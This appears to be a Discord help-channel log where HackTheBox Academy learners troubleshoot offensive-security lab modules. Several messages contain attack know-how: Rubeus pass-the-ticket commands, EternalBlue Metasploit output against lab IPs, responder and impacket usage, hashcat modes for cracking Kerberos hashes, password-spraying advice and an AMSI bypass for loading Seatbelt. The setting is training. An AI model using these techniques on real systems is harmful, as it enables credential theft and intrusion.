modules

[ocean night]

FML

No, it's not is it lol

[fathom pendant]

it's a 404 not found error; which i also got when running the install command on pwnbox, but an update cleared it up

[wind briar]

I just spent 3 hours on the Public Exploits question and ended up finding a hint on google. I feel so wrecked

[fathom pendant]

did you look at the webpage?

lol

[ocean night]

Yeah, glanced and saw public key error for some reason

[fathom pendant]

always try the simple things first

that's like rule 0 of this stuff, especially on tier 0 modules like Getting Started

[wind briar]

I think my main hangup was because I ran out of time on my first machine, I had the old machine data in RHOSTS

[fathom pendant]

oof

gl though and hh

[wind briar]

thank you

[fathom pendant]

it will happen again

[wind briar]

definitely messes with the mind. Went down a few rabbit holes that seemed promising. At least I won't forget this one

I was thinking that it seemed a little more advanced for getting started.

[fathom pendant]

yup

overthinking gets ya

sometimes you gotta follow some logical leaps

i.e. reusing passwords

[wind briar]

when the lab target has a specified port, should you only focus on that port?

[fathom pendant]

yes

if the target is IP:PORT it's giving you a PUBLIC docker IP and port which is containing the service

this, i believe, is explained in the intro to academy onboarding module

[wind briar]

alright I missed that

[fathom pendant]

which explains how academy modules and targets work :3

[wind briar]

well that explains why I went down a rabbit hole of a bunch of gobuster directories on just the IP lol

thanks marcielee, you are correct. under docker targets in the intro

[fathom pendant]

https://tenor.com/view/every-time-60percent-60percent-of-the-time-it-works-every-time-anchorman-gif-4630682

[wind briar]

This is said an uncountable number of times a day at work

[fathom pendant]

another mental shortcut: if it's a docker target, you're not meant to get a revshell

[wind briar]

thats helpful

I was expecting a revshell to find the flag

[unique ether]

i already lost man

[fathom pendant]

please don't spoil skill assessments

[cunning peak]

ok but i did it right and i can't get the flag

[novel matrix]

Did what right?

[cunning peak]

• i put spoiler

[cunning peak]

can u check ur dm ?

[fathom pendant]

Putting spoiler tags do nothing, if your screenshot contains any info you had to search for, you need to redact it

You had to decrypt the hash to get the key

[cunning peak]

i did

and still can't found anything

[autumn pilot]

try to describe what you want to do and what you have done so far

being a tier 0 module allows you to be a more precise

[fathom pendant]

Did you send the request to the endpoint you got the key to decrypt from?

I just did it and it worked fine for me

[cunning peak]

yes

can u check ur dm i will send the whole request

[fathom pendant]

Well I just did it and it worked as intended

[wide narwhal]

Do you guys have some tips to copy the TGT ticket in order to use it with `rubeus.exe ptt ticket:{ticket_here} , I usually use Tmux with Linux and it's pretty effecient copying huge block of lines but like with TGT I have to copy line by line the ticket back to the command , holy smokes with the lags from the lab VM's + RDP session, I'm pulling my hair out

[unique ether]

you wanna copy from vm to rdp?

[wide narwhal]

I mean when inside the windows VM using Powershell, if there is a way to copy the TGT from the Rubeus.exe output

no, event from the same powershell session

If I copy paste the whole TGT ticket to another Rubeus command, I'm getting powershell error

I have to copy paste the ticket line by line in order to make it work

[cunning peak]

check ur dm @fathom pendant

[unique ether]

save as file

also use /nowrap option if you wanna copy from powershell

[wide narwhal]

Alright sounds good,

[fathom pendant]

Why not just use curl

[unique ether]

ngl im kinda confused what ur tryna do like

[fathom pendant]

<@&861185840277487616>

https://tenor.com/view/spongebob-how-many-times-do-we-need-to-teach-you-old-man-slow-thick-gif-12272188

[wide narwhal]

To give more context I was doing a module "Coercing Attacks & Unconstrained Delegation" from "Windows Attacks & Defense " , from there at one point we need to capture the TGT ticket from DC1 with .\Rubeus.exe monitor /interval:1 , this command spits the whole TGT ticket as its output

From there we need to use PS C:\Users\bob\Downloads> .\Rubeus.exe ptt /ticket:doIFdDCCBXCgAwIBBa... to use the ticket in our current session

my issue is to copy the whole TGT ticket to the later command. If I try to copy paste the whole TGT ticket at once , powershell gives me error probably because the copy / paste wasn't properly done. My only solution so far was to copy paste the TGT ticket line by line to the command

which takes a certain amount of time, considering also the input lags from the lab VMs and RDP session on top of it

[unique ether]

saving as file is better Rubeus.exe ptt /ticket:myticket.kirbi

if you really want to copy paste ticket make it base64 output and try this Rubeus.exe ptt /ticket:<base64_ticket>

[naive cedar]

let me ask, is it necessary for an RTO to write a tool like juicy-potato? Or is it ok to just use it?

[fathom pendant]

you should be comfortable with being able to write your own tools, as most tools have been signatured

so not everything will work out the box

depending on the engagement

but what relation does this have to htb academy? :)

also RTO is not the same as a Pentester;
https://www.cobalt.io/blog/red-teaming-vs.-pentesting

[safe star]

Noo 😭💔

[fathom pendant]

https://www.cyderes.com/blog/penetration-testing-vs-red-teaming

[unique ether]

5x30

[urban elk]

/nowrap might help

[fathom pendant]

it's because powershell is a piece of shit lol if it goes to the next line in powershell, instead of it wrapping like you'd expect in linux where 1 line is spread across 5 if it's long enough, each new line is a CRLF new-line

[naive cedar]

i learned a few techniques from htb academy, and i wonder if coding tools myself is necessary or not. to add, my goal is rto, not pentester

[fathom pendant]

it's good practice

understanding what makes the exe tick

[naive cedar]

tks

[fathom pendant]

maldev academy is a good place to learn some stuff

https://maldevacademy.com/pricing

[naive cedar]

thanks, I've heard about this too

[fathom pendant]

but to steer it back on topic; what has been the most interesting module for you so far

[naive cedar]

hmm

windows privilege escalation?

i think so..

there are quite a few refs there about windows internal, i feel them quite interesting

[fathom pendant]

https://learn.microsoft.com/en-us/sysinternals/resources/windows-internals

[naive cedar]

i'm reading it

[fathom pendant]

Next time a question like yours is better for #careers-and-certs 😉

[naive cedar]

thank you, i will learn from it

[rustic sage]

Hello, where can I get a walkthrough for EscapeTwo?

[storm elk]

There is no walkthrough for an active box.

You can get hints in #1327698295102898246 - but you will need to read and follow instructions from #welcome

[long flint]

could i DM anyone about HTTP Attacks Log Injection?

[signal rain]

Thx

[storm elk]

sure

[dapper moth]

Use the /nowrap to be able to copy it. It will generate it without those \n

[stone gorge]

In CPTS Attacking Enterprise Networks, Lateral Movement, mimikatz (no matter what version including the latest and greates) doesn't seem to be working on MS01 (172.16.8.50)... I have RDP in as ilfserveradm.

[rustic sage]

can someone help with metasploit module pls? i think something is messed up

[frozen prawn]

Hello all! im new here 🙂

[storm elk]

welcome

[frozen prawn]

https://discord.com/channels/473760315293696010/1331199482041335829

already have questions

[storm elk]

You should ask your questions here and not make a post there

[frozen prawn]

noted

[storm elk]

Name the module and section you're stuck on and ask your question.

[proven marsh]

hi, I am doing the Intro to Binary Exploitation module, in the Intro to Assembly Language submodule. I am not able to solve the last point of the Skill Assessment, could someone tell me if there is a section for assembler in this channel?

[opaque walrus]

Hello HTB,
So I am using Academy, and learning using the PT Path. The VPN works fine there, I am able to access the IPs in the challenges at end of each module.
Question is, now I thought of doing the "Starting Point" lab in Main Site. But even though the system is connected to VPN, I get "Connect to HTB" in red on the main site. Do i need to download separate VPN key for the Main site, or am i missing some thing. Thanks in Advance !

[gritty plaza]

Is vim always weird about copying all the lines?

[rustic sage]

Metasploit module/ Modules section

[gritty plaza]

I was trying to copy an id_rsa and it says I yanked x lines but when I go to paste only half the lines paste

So just used cat instead and copied the text that way

[vagrant cargo]

Can anyone help me out with Attacking Enterprise Networks - Lateral Movement, priv esc on MS01 172.16.8.50. I've tried everything to priv esc as shown in the example, nothing works, tried reseting the target 3 times already.

[storm elk]

Don’t cross post. Also - read and follow #welcome and #rules - after that you will get access to #1330234474801135678

[urban elk]

your new profile pic makes me happy every time :)

[storm elk]

@fringe trail this is not the apropriate channel. This is for help with Academy modules only.

Read #rules and #welcome

[fringe trail]

Okay

[stone gorge]

I am having the same issue... I can privesc to Admin per the pwn.bat file and scheduling but cannot get mimikatz to work...

If the pwn.bat file is not triggering, then save a blank txt file to the specified folder to trigger the execution in that folder.

[honest crane]

https://academy.hackthebox.com/module/39/section/417

In the end of this section, the tutorial briefly covers writing custom Ruby code to adapt other scripts to Metasploit. I'm wondering if this is considered in-scope for the exam or not.

[hasty mauve]

Which module is this exactly?
It shows (login to htb academy......).

[stone gorge]

Which exam... I don't think it is for CPTS, but definitely a nice to know.

[honest crane]

Metasploit module, at the end

[hasty mauve]

No, it is not in scope for CPTS.

[stone gorge]

For AEN Lateral... where you run mimikatz, do you need to start that command prompt with administrator privileges?

I cannot get mimikatz.exe to function properly...

[dapper moth]

Depends on the account privileges, basically…. Independent of the module

[pseudo kiln]

if you do whoami /priv does it list all admin privileges for you ?

[stone gorge]

net localgroup administrators shows that ilfserveradm is in the local Administrators group

Just tried logging out and back in to no avail...

PS C:\Users\ilfserveradm> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Ah... no,

How can you be in Admins group and not have all Admin privs?

[gray yacht]

Maybe try a different tool if mimikatz isn't working.

[stone gorge]

Yeah... doing that now. Any suggestions?

On the other hand, I am just following the AEN content, so it should work.

[pseudo kiln]

you aree not doing it blind ?

[gray yacht]

Depends on your setup, but nxc is one of the most versatile AD tools that I use.

[stone gorge]

I was doing it blind until I got to this part...

[pseudo kiln]

exactly that, imo CME academy module is a must for cpts, but just my opinion, it streamlines ad so much

[pseudo kiln]

well think about how you can get a high intetigrity shell as that user and what may be stopping, they cover it in the modules

[gray yacht]

Yeah, sorry, I'm going through AEN again so I'm not going to look at the walkthrough.

[stone gorge]

I took that module... and benefitted greatly... didn't recall that you could dump lsa from CME...

[pseudo kiln]

ofc you can, they show it to you in the CME module, it can dump almost anything

[stone gorge]

Nice.. thank you for that...

[gray yacht]

nxc smb -h and scroll through the information.

[coarse verge]

Cool

[pseudo kiln]

but its good to know both methods imo, a tool may not work for some reason, I use nxc for most things, but I have notes on how to use local tools tool like mimikatz, rubeus etc too

[stone gorge]

Doing that now...

Ahhh... and Rubeus

[pseudo kiln]

yeah this thing is huge, I went through all modues 2 times, some 3 times and I still forget things

[dapper moth]

Depends on the sysadm and how the machine is setup
Some stuff will block you from having all the privs (JEA, UAC)

There is a module in GitHub that unlocks the privs

I think AEN mentions it

[pseudo kiln]

are you refferring to|| FullPowers|| ?

[dapper moth]

I think it is. Yes

[sick depot]

can anyone help with login brute forcing skills assessment part 2

[gray yacht]

What issue are you having?

[sick depot]

cant answer the first question feel like im going down rabbit holes

ftp ports arent open and cant acces ssh

[gray yacht]

These services can be configured to run on any port, so I wouldn't get wrapped up in that from an external point of view. Maybe you can banner grab to see what service is running externally?

[sick depot]

ssh is open also a http login form although i did try brute forcing it with no success

[gray yacht]

You can DM what you tried so there are no spoilers.

[stone gorge]

... learn something new everyday ...

Thanks for that ....

[storm elk]

thanks for the advice

imma keep on sparkling ✨

[devout temple]

Hello legends,

I am doing the (Introduction to Windows Evasion Techniques) and having some troubles at (Open-Source Software).
I am able to bypass the amsi on the lab with amsi patch, but I still get this message when trying to load Seatbelt in memory.

[gray yacht]

Aren't they supposed to be PS scripts?

[devout temple]

You are able to run txt in memory, I changed the extension to ps1 to make sure it was not affecting but I get the same error message.

[gray yacht]

Well your errors provide some information, so I'd start there.

[storm elk]

This is not something we do here @craggy rain

[craggy rain]

is it against group rules?

[storm elk]

It's illegal

[gray yacht]

If after reworking this, if you can't get it worked out, you can DM and chat about some things.

[devout temple]

Alright

[craggy rain]

my friend 's phone got lost. The police are not helping. Sry about asking..🚶

[storm elk]

There is nothing we can do

and anyone dm'ing you claiming otherwise is trying to scam you

[stone gorge]

Well that was a freaking forehead slapper! Run the shell as Administrator....! WTF!!!! I am better than that! Getting tired I guess.

[urban elk]

you brought it up here, why didn't you just try? Might be a sign to take a break

[stone gorge]

I thought I did to no avail... but when I tried again it worked. I probably screwedup the first time around.

Right!!? Feel like an a$$ fter wasting all that time...

[urban elk]

don't beat yourself up, this stuff happens to everyone. Breaks and being kind to yourself are underestimated

if you want a positive spin on it, it's something you probably won't forget anytime soon :) like me with password reuse...

[devout temple]

Shootout to @gray yacht thanks for the help brother!

[shut ice]

Is DACL 2 supposed to be saying to use Gabriel and not Martha? There's no path from Gabriel to PCTEST001 but there is one from Jeffry > Martha > PCTEST001.

[delicate light]

hello everyone, question about LDAP in Attacking Common Applications, how are we sure about the process of login if it's realy ldap (only with nmap?) ? and there is tool to test other than ldapsearch you recommend ? tools to try ldap injections too. Thx !

[thorn cobalt]

hi everyone silly question but if there is question asking me to ssh to user xyz and then password is "" it means that there is no password right? and I just need to hit enter. Don't know why but I can't ssh for some reason and it drives me crazy.

[urban elk]

which module/section ?

[native fox]

In introduction to threat hunting on hunting for stuxbot can anyone help me understand the third question??

Which is need to find the popular hacking tool this code derives

[steel snow]

excuse me, there is an error in one module

The module is footprinting, section NTS

[bright coral]

#1234357888114364508

[somber whale]

Where can I get more info on the CyberHelmets

[storm elk]

https://cyberhelmets.com

[winter schooner]

Can anyone help me, Attacking common applications, Attacking Wordpress. I have found the user and its correct, but have been bruteforcing for 10 minutes and still no password found. Am I impatient or did I do something wrong?

[hasty mauve]

rockyou is not meant to be used for brute forcing, it was meant for password cracking.
There're a lot of good password wordlists for brute forcing, like dark web 2023 top 100, or fasttrack, etc.
I would say try those instead.

I think the module used rockyou, so either try those for a possibly quicker results, or just wait until rockyou finds you the right password.

[winter schooner]

I tried fasttrack.txt, 10million-top100 and darkweb2017-top100.txt. None of them work. I think this section is unnecessarily long.

[somber whale]

Thank you

[ripe wadi]

if i buy a module i will retain access to it even if my subscription runs out right ?

[hasty mauve]

Yes

[ripe wadi]

ok

[hasty mauve]

Well, HTB sometimes have these kind of modules.
Remember, part of being a hacker is having a lot of patience, without it, you won't get very far with the field.

[winter schooner]

You're right bro, thanks for putting it in that perspective.

[hasty mauve]

You're mostly welcome.
if you sometimes run out of patience, that's ok, sometimes it happens, don't let this bring you down.
Just move on and try having more patience next time.

[steel snow]

hey bro!

what did you do regarding the ODAT for footprinting?

[winter schooner]

Try doing another subdomain/vhost enum for web1337.inlanefreight.htb, and after that if you need any help let me know.

[hasty mauve]

what about it?

[acoustic thorn]

In the section "Attacking Domain Trusts - Child -> Parent Trusts - from Linux" during the final exercise the raiseChild.py script automates the discovery of the parent domain's administrator's hash. What is the most effective method for enumerating this manually? Would it be possible to use a golden ticket manually with secretsdump.py or nxc?

[bright shore]

when I run responder I get all of these errors is this normal? [!] Error starting TCP server on port 80, check permissions or other servers running.
[!] Error starting TCP server on port 5985, check permissions or other servers running.
[!] Error starting TCP server on port 3389, check permissions or other servers running.
[!] Error starting TCP server on port 135, check permissions or other servers running.
[!] Error starting TCP server on port 445, check permissions or other servers running.
[!] Error starting TCP server on port 139, check permissions or other servers running.
[!] Error starting TCP server on port 88, check permissions or other servers running.
[!] Error starting TCP server on port 1433, check permissions or other servers running.
[!] Error starting TCP server on port 21, check permissions or other servers running.
[!] Error starting TCP server on port 110, check permissions or other servers running.
[!] Error starting SSL server on port 5986, check permissions or other servers running.
[!] Error starting TCP server on port 389, check permissions or other servers running.
[!] Error starting TCP server on port 25, check permissions or other servers running.
[!] Error starting TCP server on port 587, check permissions or other servers running.
[!] Error starting SSL server on port 443, check permissions or other servers running.
[!] Error starting TCP server on port 53, check permissions or other servers running.
[!] Error starting TCP server on port 143, check permissions or other servers running.

I don't wanna kill all the pid's on the port cause last time I killed my connection to the box

[tranquil axle]

you need to run it as sudo

[bright shore]

ah

[tranquil axle]

otherwise it cant listen on those ports

[bright shore]

no I did that

sudo responder -I tun0

sudo impacket-smbserver share ./ -smb2support File "/usr/lib/python3.11/socketserver.py", line 456, in init
self.server_bind()
File "/usr/lib/python3.11/socketserver.py", line 472, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use

You guys need to update attacking common services. I tried attacking ftp and after like the 5th reset I got an open port. This has been a problem for years from what I can see. Also, idk what do to do for port 1443

[analog dock]

Well obviously that isn’t gonna work

You just run responder on 445 snd then try to start a smb server on that port

[polar raven]

Hi, I have a question on the skills assessment of the (command injection module)[https://academy.hackthebox.com/module/109/section/1042] . I succeded it and for the fun I downloaded the code source. I found the function vulnerable in it, but I don't understand something. In the array of caracters that are supposed to be filtered by strpos there are two caracters I use in my requests. So, I was wondering Why muy requests weren't denied ? I blurred a lot because, I don't want to be ban 😉
The first screenshot, is the code execution and the second one is the filtering in place.

[rose flint]

Hi, I'm working on Password Attacks - Protected Files and I'm having troubles starting.

I can't figure out how to access the target machine. The cracked password isn't listed, so I'm using the previously known one, but that doesn't work.

Am I doing something wrong?

[rough comet]

hello folks

working on Command Injection

Bypassing Blacklisted Characteres

I am pretty sure that my payload should work

can I review with someone? I do not want to spoil the thing

[gray yacht]

Did you identify any open ports and services running?

[gray yacht]

Sure you can DM.

[rough comet]

Thank you!

Learned Lesson: gotta increase Burp's font, lol

[rose flint]

no, i can try that

[celest birch]

Hello! Noob here, lol.
I have started on the Information Security Foundations Module and I am really excited in starting on this path. However, I have a question that may come off a bit ignorant on my end. I am on the Setting Up Section of the modules. Would I need to follow their instructions when it comes to the Windows VM setup, and if so, I would also have to follow the Windows Host (My PC) instructions as well?

[ember copper]

did you find it? im soo stuck

[fathom pendant]

The setting up is more of a reference than a hard guide

Having a windows vm can be helpful to test things, but isn't strictly necessary

[celest birch]

Okay, that helps ease the weight off my shoulders a bit, thank you.

[lusty hearth]

Can you give me a nudge with this, im having issues with it too. I have it all deobfuscated, except one var. not really sure how to proceed.

[median gale]

I need a nudge for CME module SA, find username and password. Found the ip of the DC01 which has null session but i can only rid brute force and get 4k usernames. Guessing common password didnt yield anytihng

[upper ruin]

yo awoken

did the exploit work with you? Mine said target isn't vulnerable.

[static roost]

Anyone available for a nudge on DACL ATTACKS II last question?

[dapper moth]

What nudge do you need? It's pretty straightforward

[static roost]

@dapper moth well I suck so can I dM?

[dapper moth]

Haha... You don't suck, mate
It's ok to be a little lost sometimes

sure

[neat pelican]

Hello, anyone who can help me with

Shells & Payloads - Infiltrating Windows

PROBLEM: Using the ms17_010_psexec with windows/meterpreter/reverse_tcp payload. There is a successful connection within the target machine
....

• Selecting PowerShell target
• Executing the payload
• Service start times out, OK if running a command or non-service executable...
• Exploit completed, but no session was created

THEORY: My guess was the payload, so I tried every windows/shell/reverse payload but to no avail they also don't work. I only need to find the flag to finish this part.

[fathom pendant]

try a different exploit

there's like a handful

also make sure your rhost is correct

and lhost

https://dontasktoask.com

[sonic plume]

💀

[lusty hearth]

bro no way lol

messages like this give me life man

[sonic plume]

lmfao

[lusty hearth]

thatll teach em

[neat pelican]

I haven't tried this one since I stick way too much on the guide. Mb for the noob mistake, and also huge thanks

[fathom pendant]

#rules

pg-13

<@&861185840277487616>

[ocean night]

ty

[fathom pendant]

<3

[novel matrix]

Dam

2 fast

[ocean night]

https://tenor.com/view/f5-refresh-reload-gif-15071315

[atomic coyote]

I am having Hashcat issues. I am working on the Footprinting module, IPMI section. I've tried a few variants of cracking the hash I got using the Metasploit module include brute and using the provided wordlist and nothing. Any thoughts?

[fathom pendant]

provided wordlist should work; you don't use the mask part

[atomic coyote]

hashcat --username -m 7300 out.hashcat -a 0 <wordlist>

[fathom pendant]

did you make sure to have the msfconsole tool output to hashcat format?

don't share the hash; spoiler text does nothing

since anyone can click on it

did you try with just the second part of the hash?

[atomic coyote]

gotcha

[atomic coyote]

i did not

[atomic coyote]

I just ran it with the following variations: removing all but the hash and removing all but the part of the hash after the ":". Would the mode still be 7300?

[fathom pendant]

Yes

[atomic coyote]

Ok so I ran -m 7300 -a0 against the whole hashcat output and just the hash (part 1:part2) against the footprint wordlist and i get "exhausted". The same technique against the second half gives me a spearator unmatched error.

[fathom pendant]

hold on

[safe star]

what about rockyou?

[atomic coyote]

I've not tried that but can give it a go

[atomic coyote]

Bingo. That worked. Thank you.

[fathom pendant]

^

[brittle solar]

Hey I'm not sure if its me or a bug, but I'm doing the Linux Priv esc module and am on the kernel exploit skills assessment. Found the correct exploit, compiled it, executed it, and have a root shell. However, when I try to do anything that would require root priveleges, I get permission denied. All the folders that were owned by root are owned by "nobody" when I'm in the root shell. Any ideas?

[neat pelican]

Update: Just tried also different exploit, even the exploit outside ms17_010 but the issue is still.

Anyways, here's a sample log for the module windows/smb/ms17_010_eternalblue

[*] 10.129.86.146:445 - Connecting to target for exploitation. [+] 10.129.86.146:445 - Connection established for exploitation. [+] 10.129.86.146:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.129.86.146:445 - CORE raw buffer dump (34 bytes) [*] 10.129.86.146:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2 [*] 10.129.86.146:445 - 0x00000010 30 31 36 20 53 74 61 6e 64 61 72 64 20 31 34 33 016 Standard 143 [*] 10.129.86.146:445 - 0x00000020 39 33 93 [+] 10.129.86.146:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.129.86.146:445 - Trying exploit with 22 Groom Allocations. [*] 10.129.86.146:445 - Sending all but last fragment of exploit packet [*] 10.129.86.146:445 - Starting non-paged pool grooming [+] 10.129.86.146:445 - Sending SMBv2 buffers [+] 10.129.86.146:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.129.86.146:445 - Sending final SMBv2 buffers. [*] 10.129.86.146:445 - Sending last fragment of exploit packet! [*] 10.129.86.146:445 - Receiving response from exploit packet [+] 10.129.86.146:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.129.86.146:445 - Sending egg to corrupted connection. [*] 10.129.86.146:445 - Triggering free of corrupted buffer. [-] 10.129.86.146:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [-] 10.129.86.146:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [-] 10.129.86.146:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [*] Exploit completed, but no session was created.

[fathom pendant]

make sure all your variables are set properly

[dark hedge]

no

[neat pelican]

bruhhh

[safe star]

yes

[neat pelican]

quick question. If an exploit module could successfully do this (well no session was created still)

[+] 10.129.86.146:445 - Overwrite complete... SYSTEM session obtained! [*] 10.129.86.146:445 - Selecting PowerShell target [*] 10.129.86.146:445 - Executing the payload... [+] 10.129.86.146:445 - Service start timed out, OK if running a command or non-service executable... [*] Exploit completed, but no session was created.

Why can't I footprint the service using smbclient, smbmap, rpcclient, crackmapexec.
Here is an example output from crackmapexec

crackmapexec smb 10.129.86.146 --shares -u '' -p '' SMB 10.129.86.146 445 SHELLS-WINBLUE [*] Windows Server 2016 Standard 14393 x64 (name:SHELLS-WINBLUE) (domain:SHELLS-WINBLUE) (signing:False) (SMBv1:True) SMB 10.129.86.146 445 SHELLS-WINBLUE [+] SHELLS-WINBLUE\: SMB 10.129.86.146 445 SHELLS-WINBLUE [-] Error enumerating shares: STATUS_ACCESS_DENIED

[safe star]

does that exploit even need valid creds?

[cloud urchin]

1. there is more than one eternalblue exploit. 2) your credentials (anonymous) doesn't have permissions to view the share.

[atomic coyote]

@fathom pendant @safe star Thanks again! You all are champs 🙂

[jovial sparrow]

Not sure if this is the place to ask but I’m trying to learn pen testing I signed up for HTB today and I did the intro to infosec and was planning to do the intro to pen testing next, anyone that started pen testing on HTB did you do this or did you just enroll in the “pen testing path” thing ?

[cloud urchin]

The pentesting path contains the modules that are required to complete which allow you to take the CPTS exam. so people usually do that path for that I think, but you can do whatever modules that look interesting to you.

[atomic coyote]

what is helpful is if you don't know a technology like Linux, there's a Linux module you can take then go back to the pentest path

[jovial sparrow]

Sounds good thanks!

[jovial sparrow]

Also do you guys take notes on the modules you guys do or just do them lol might be a dumb question

[cloud urchin]

most definitely take notes

writing things down helps commit it to memory

[steel snow]

Guys, i have am i the only one finding pings higher to the machines today?

they used to be for me 70s

and now 115s

nvm

[mighty magnet]

[river tapir]

Hello everyone, I'm currently working on the Login Brute Forcing module's skill assessment part 1 at HTB. I've been trying to use Hydra to attack as specified in the text file provided. Could anyone share some advice or tips on how to approach this?

[novel matrix]

How the modules are done is full of information and cant write everything down. I just go in, read a little and do the content

[wide narwhal]

I'm currently doing CDSA , labs / VMs are lagging so much, I'm struggling pretty hard to focus because of frustration , is it lagging also for you guys ?

the worst is when I gotta do RDP session on top of a VM, the lag is huge

[autumn pilot]

try reaching out to support to troubleshoot the VPN connection

[wide narwhal]

ok

[safe star]

yes, i think it was the worst with events logs and attack & defense modules

[wide narwhal]

I don't want to hate or anything, the content is quite good, I really like HTB Academy no doubt, but man when I gotta do the lab, it's a huge pain

Trying so other vpn's and also trying tcp instead of udp, will see

[safe star]

came back to that module after the next 10 😂

[wide narwhal]

😢

[safe star]

watching it close with me doing nothing was my final straw

[wide narwhal]

Few minutes ago I was having "the trust relationship is not working" something like that, between the lab Kali and the Windows web server, did you ever get that message ?

when I initiate RDP, it kicks me back to the login screen, talking about trust relationship between the 2 machines not working

[safe star]

yeah i had that but it didnt kick me out tho

which part is that

[wide narwhal]

PKI-ESC1

They ask me to connect first to the kali lab machine and from there doing a RDP to WS001 windows web server, but when I do RDP, I cant login and im stuck at the WS001 login screen with a msg talking about relationship not working between the 2 machines

[safe star]

yeah i didnt get that this time

[safe star]

try restarting

[wide narwhal]

yep, doing it rn

Same issue, well I'll see tomorrow, I'm done with this for today

[cunning peak]

scammer

@supple tiger
ban him , he's scammer

[empty trout]

to crack aes 256hash we get from keytab file which module is used in hashcat

[unborn summit]

i think it is module 19700, "Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)"

you can find hashcat modules from here https://hashcat.net/wiki/doku.php?id=example_hashes

[potent sandal]

hey guys whats up i dont know if the question belongs here but i will ask... i have a lot of problem wit connectin to the machines and labmachines. When i do a nmap scan which should not take more 2-3 minutes, take me like 20-30 min. aner first he scann fast and show me 60-70 % after 1 min then he go slower and slower. Some machines i can not even ping and he after he gives me no feedback.

nmap -sC -sV 10.129.95.187 -p- -oN Atnmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-22 03:19 CST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 8.55% done; ETC: 03:21 (0:01:26 remaining)
Stats: 0:00:40 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 41.45% done; ETC: 03:21 (0:00:58 remaining)
Stats: 0:01:43 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 87.24% done; ETC: 03:21 (0:00:15 remaining)
Stats: 0:02:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 88.33% done; ETC: 03:22 (0:00:16 remaining)
Stats: 0:04:32 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 89.51% done; ETC: 03:24 (0:00:32 remaining)
Stats: 0:06:30 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 90.06% done; ETC: 03:27 (0:00:43 remaining)
Stats: 0:06:34 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 90.08% done; ETC: 03:27 (0:00:43 remaining)
Stats: 0:06:35 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 90.08% done; ETC: 03:27 (0:00:43 remaining)
Stats: 0:07:26 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 90.32% done; ETC: 03:28 (0:00:48 remaining)
Stats: 0:11:17 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 91.40% done; ETC: 03:32 (0:01:04 remaining)
Stats: 0:17:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 93.00% done; ETC: 03:38 (0:01:17 remaining)

[fathom pendant]

try doing a tcp scan

[potent sandal]

but why a day before was function and when i wanna continue not anymore

[fathom pendant]

sometimes it's silly like that

it doesn't look like it's getting caught on anything though as progress is happening

you can also adjust stuff like --min-rate and --max-retries per the nmap documentation

[potent sandal]

thaanks

[honest crane]

I'm currently doing the Password Attacks - Network Services section, and I'm stuck at the first question initial user enumeration part:

"Find the user for the WinRM service and crack their password."

So I know that the username for the WinRM service ||is the first one on the list||. But I'm confused as to where this is implied.

Am I missing some way to enumerate users without also brute-forcing passwords?

[unborn summit]

nope

gotta try every username and password combo

this is why people say this module takes ages

[honest crane]

That's really stupid.

[unborn summit]

yeah, it definitely wastes a lot of time, but what can you do ¯_(ツ)_/¯

[honest crane]

Also, I did login via WinRM and enumerated local users, added them to a file, then tried another spray for ssh, but didn't get a result.

Are services inside their own VMs, so they don't share the same usernames?

[fathom pendant]

nope they're all on the same VM; they're just configured in a way to only allow specific logins from specific users

[honest crane]

Wait, so that means the users I got from get-localuser should be valid for other services, right?

[fathom pendant]

ye

the users can still exist; just the services are configured to only allow logins from specific ones

i.e. setting up an authenticated ftp server where there's like 20 local users, but only one that you can log in with

[silk anchor]

User list and password list is provided under resources

[honest crane]

This doesn't explain why Hydra didn't get a valid hit when I did a brute force based on the new userlist

[fathom pendant]

because some services hydra really sucks at enumerating

nxc is the other tool that's helpful here

[honest crane]

I brute forced ssh though

[fathom pendant]

(note the module uses cme/crackmapexec, netexec is the replacement for it)

[honest crane]

Yeah, I got the WinRM user via nxc

[fathom pendant]

like i said; some services hydra just is stupid about

that's just how it is

and there's some things that nxc will be stupid about

¯_(ツ)_/¯

multiple tools exist for the sole reason that sometimes a tool just doesn't wanna work right

[silk anchor]

If I remember correctly hydra can also have issues with SMB depending on version, while nxc will work fine.

But hydra will give you an error

[unborn summit]

try spraying those users on smb and rdp

with some services it might be possible to allow authentication from users that don't actually exist

that shouldnt be the case with smb though, so thats why it would be interesting to try that

[fathom pendant]

user may exist but they aren't configured to log in

[fathom pendant]

smb absolutely can be blocked lol

some config shenanigans

[unborn summit]

